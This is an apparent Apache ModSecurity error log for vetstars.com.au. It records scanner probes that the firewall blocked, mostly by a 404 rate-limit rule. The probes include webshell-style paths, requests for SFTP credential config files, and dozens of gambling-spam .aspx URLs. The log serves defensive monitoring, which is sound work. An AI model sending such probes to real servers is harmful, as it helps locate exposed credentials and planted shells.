[Tue May 19 02:05:15.326098 2026] [:error] [pid 44087:tid 44108] [client 4.228.184.113:61456] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cfile.php"] [unique_id "agtU225HPHbH9GK7l6wPmgAAAdM"]
[Tue May 19 02:05:19.063670 2026] [:error] [pid 36491:tid 36512] [client 4.228.184.113:61443] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cfile.php"] [unique_id "agtU30555B9CZb6D60n_gQAAAVE"]
[Tue May 19 02:05:23.249621 2026] [:error] [pid 36579:tid 36593] [client 4.228.184.113:44151] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cfile.php"] [unique_id "agtU41-aoZxBfgL5vDy2owAAAEs"]
[Tue May 19 02:05:25.720478 2026] [:error] [pid 43916:tid 43929] [client 4.228.184.113:37447] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp.php"] [unique_id "agtU5dQC236p33zJJvne4QAAAIU"]
[Tue May 19 04:52:21.589329 2026] [:error] [pid 38814:tid 38818] [client 103.65.237.216:58596] [client 103.65.237.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sftp-config.json"] [unique_id "agt8BQvkKuBwP0epzWdF5gAAAMI"]
[Tue May 19 04:52:21.931912 2026] [:error] [pid 38814:tid 38816] [client 103.65.237.216:58647] [client 103.65.237.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.vscode/sftp.json"] [unique_id "agt8BQvkKuBwP0epzWdF5wAAAMA"]
[Tue May 19 07:34:57.323679 2026] [:error] [pid 46896:tid 46916] [client 43.166.130.123:39378] [client 43.166.130.123] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aguiIaCHyzL3Ci9LGE3rgAAAAZI"]
[Tue May 19 08:56:11.173413 2026] [:error] [pid 41573:tid 41577] [client 62.84.185.69:17238] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "agu1Ky1A2bd6JDSW9RZGXQAAAQI"]
[Tue May 19 08:56:13.803228 2026] [:error] [pid 41573:tid 41596] [client 62.84.185.69:17246] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "agu1LS1A2bd6JDSW9RZGYAAAARU"]
[Tue May 19 08:56:16.434307 2026] [:error] [pid 46815:tid 46834] [client 62.84.185.69:62138] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "agu1MCPnRhJOmA06LgoR8QAAAVE"]
[Tue May 19 08:56:18.946046 2026] [:error] [pid 38814:tid 38817] [client 62.84.185.69:62142] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "agu1MgvkKuBwP0epzWdkzwAAAME"]
[Tue May 19 08:56:21.612755 2026] [:error] [pid 38814:tid 38820] [client 62.84.185.69:62154] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "agu1NQvkKuBwP0epzWdk0AAAAMQ"]
[Tue May 19 08:56:24.232523 2026] [:error] [pid 46896:tid 46909] [client 62.84.185.69:62160] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "agu1OKCHyzL3Ci9LGE35iAAAAYs"]
[Tue May 19 08:56:26.750794 2026] [:error] [pid 38699:tid 38763] [client 62.84.185.69:10696] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "agu1Or--Adsw_P-dthZN1gAAAFU"]
[Tue May 19 08:56:29.333174 2026] [:error] [pid 38814:tid 38822] [client 62.84.185.69:10698] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "agu1PQvkKuBwP0epzWdk0gAAAMY"]
[Tue May 19 08:56:31.858650 2026] [:error] [pid 38814:tid 38829] [client 62.84.185.69:10700] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agu1PwvkKuBwP0epzWdk0wAAAM0"]
[Tue May 19 08:56:34.493003 2026] [:error] [pid 46815:tid 46833] [client 62.84.185.69:10716] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agu1QiPnRhJOmA06LgoR_wAAAVA"]
[Tue May 19 08:56:37.050144 2026] [:error] [pid 38697:tid 38732] [client 62.84.185.69:32840] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "agu1RaXP9pP6Kgt-msTXlwAAABE"]
[Tue May 19 08:56:39.606919 2026] [:error] [pid 46896:tid 46917] [client 62.84.185.69:32844] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "agu1R6CHyzL3Ci9LGE35igAAAZM"]
[Tue May 19 08:56:42.238011 2026] [:error] [pid 38697:tid 38737] [client 62.84.185.69:32856] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "agu1SqXP9pP6Kgt-msTXpwAAABY"]
[Tue May 19 08:56:44.839156 2026] [:error] [pid 38699:tid 38749] [client 62.84.185.69:32862] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "agu1TL--Adsw_P-dthZN5AAAAEc"]
[Tue May 19 08:56:47.402740 2026] [:error] [pid 46896:tid 46922] [client 62.84.185.69:61886] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "agu1T6CHyzL3Ci9LGE35jQAAAZg"]
[Tue May 19 08:56:50.073231 2026] [:error] [pid 46896:tid 46900] [client 62.84.185.69:61902] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "agu1UqCHyzL3Ci9LGE35kAAAAYI"]
[Tue May 19 08:56:52.697503 2026] [:error] [pid 41573:tid 41592] [client 62.84.185.69:61918] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "agu1VC1A2bd6JDSW9RZGYwAAARE"]
[Tue May 19 08:56:55.313284 2026] [:error] [pid 46896:tid 46920] [client 62.84.185.69:61928] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "agu1V6CHyzL3Ci9LGE35mgAAAZY"]
[Tue May 19 08:56:57.896089 2026] [:error] [pid 41573:tid 41597] [client 62.84.185.69:62496] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "agu1WS1A2bd6JDSW9RZGZgAAARY"]
[Tue May 19 08:57:00.466804 2026] [:error] [pid 46815:tid 46817] [client 62.84.185.69:62512] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "agu1XCPnRhJOmA06LgoSDgAAAUA"]
[Tue May 19 08:57:02.985092 2026] [:error] [pid 38814:tid 38827] [client 62.84.185.69:62528] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "agu1XgvkKuBwP0epzWdk2QAAAMs"]
[Tue May 19 08:57:05.582557 2026] [:error] [pid 41573:tid 41587] [client 62.84.185.69:62532] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "agu1YS1A2bd6JDSW9RZGagAAAQw"]
[Tue May 19 08:57:55.684968 2026] [:error] [pid 46815:tid 46835] [client 62.84.185.69:53706] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "agu1kyPnRhJOmA06LgoSHQAAAVI"]
[Tue May 19 08:57:58.325818 2026] [:error] [pid 38697:tid 38736] [client 62.84.185.69:34824] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agu1lqXP9pP6Kgt-msTX2wAAABU"]
[Tue May 19 08:58:00.926057 2026] [:error] [pid 46896:tid 46915] [client 62.84.185.69:34830] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agu1mKCHyzL3Ci9LGE35ygAAAZE"]
[Tue May 19 08:58:03.612602 2026] [:error] [pid 46896:tid 46901] [client 62.84.185.69:34832] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agu1m6CHyzL3Ci9LGE350AAAAYM"]
[Tue May 19 08:58:06.145200 2026] [:error] [pid 46896:tid 46911] [client 62.84.185.69:21762] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "agu1nqCHyzL3Ci9LGE350wAAAY0"]
[Tue May 19 08:58:08.606987 2026] [:error] [pid 38697:tid 38730] [client 62.84.185.69:21774] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "agu1oKXP9pP6Kgt-msTX3gAAAA8"]
[Tue May 19 08:58:11.281640 2026] [:error] [pid 41573:tid 41591] [client 62.84.185.69:21788] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "agu1oy1A2bd6JDSW9RZGfAAAARA"]
[Tue May 19 08:58:13.870535 2026] [:error] [pid 46896:tid 46911] [client 62.84.185.69:21792] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "agu1paCHyzL3Ci9LGE354gAAAY0"]
[Tue May 19 08:58:16.545543 2026] [:error] [pid 38814:tid 38831] [client 62.84.185.69:22886] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "agu1qAvkKuBwP0epzWdk8wAAAM8"]
[Tue May 19 08:58:19.119715 2026] [:error] [pid 41573:tid 41592] [client 62.84.185.69:22892] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "agu1qy1A2bd6JDSW9RZGggAAARE"]
[Tue May 19 08:58:21.768036 2026] [:error] [pid 46815:tid 46819] [client 62.84.185.69:22908] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "agu1rSPnRhJOmA06LgoSJQAAAUI"]
[Tue May 19 08:58:24.292188 2026] [:error] [pid 38814:tid 38826] [client 62.84.185.69:22914] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "agu1sAvkKuBwP0epzWdk9AAAAMo"]
[Tue May 19 08:58:26.907954 2026] [:error] [pid 38697:tid 38721] [client 62.84.185.69:3170] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "agu1sqXP9pP6Kgt-msTX4gAAAAY"]
[Tue May 19 08:58:29.484150 2026] [:error] [pid 38699:tid 38763] [client 62.84.185.69:3176] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "agu1tb--Adsw_P-dthZN-QAAAFU"]
[Tue May 19 08:58:32.112547 2026] [:error] [pid 38697:tid 38722] [client 62.84.185.69:3188] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "agu1uKXP9pP6Kgt-msTX5AAAAAc"]
[Tue May 19 08:58:34.615095 2026] [:error] [pid 38697:tid 38717] [client 62.84.185.69:3198] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agu1uqXP9pP6Kgt-msTX5wAAAAI"]
[Tue May 19 08:58:37.313688 2026] [:error] [pid 38697:tid 38727] [client 62.84.185.69:47544] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "agu1vaXP9pP6Kgt-msTX7gAAAAw"]
[Tue May 19 08:58:39.954741 2026] [:error] [pid 46896:tid 46917] [client 62.84.185.69:47558] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agu1v6CHyzL3Ci9LGE359gAAAZM"]
[Tue May 19 08:58:42.540251 2026] [:error] [pid 38705:tid 38773] [client 62.84.185.69:47574] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "agu1wsg5dNOZ5umN9lsuegAAAIQ"]
[Tue May 19 08:58:45.214115 2026] [:error] [pid 38699:tid 38742] [client 62.84.185.69:47584] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "agu1xb--Adsw_P-dthZONAAAAEA"]
[Tue May 19 08:58:47.851409 2026] [:error] [pid 38705:tid 38791] [client 62.84.185.69:64420] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "agu1x8g5dNOZ5umN9lsuewAAAJY"]
[Tue May 19 08:58:50.497931 2026] [:error] [pid 46896:tid 46908] [client 62.84.185.69:64428] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "agu1yqCHyzL3Ci9LGE36GAAAAYo"]
[Tue May 19 08:59:43.578894 2026] [:error] [pid 38699:tid 38742] [client 62.84.185.69:64520] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "agu1_7--Adsw_P-dthZOfgAAAEA"]
[Tue May 19 08:59:46.213755 2026] [:error] [pid 46896:tid 46918] [client 62.84.185.69:51758] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "agu2AqCHyzL3Ci9LGE36SQAAAZQ"]
[Tue May 19 08:59:48.764534 2026] [:error] [pid 46896:tid 46921] [client 62.84.185.69:51766] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "agu2BKCHyzL3Ci9LGE36TQAAAZc"]
[Tue May 19 08:59:51.444281 2026] [:error] [pid 41573:tid 41576] [client 62.84.185.69:51776] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "agu2By1A2bd6JDSW9RZGlQAAAQE"]
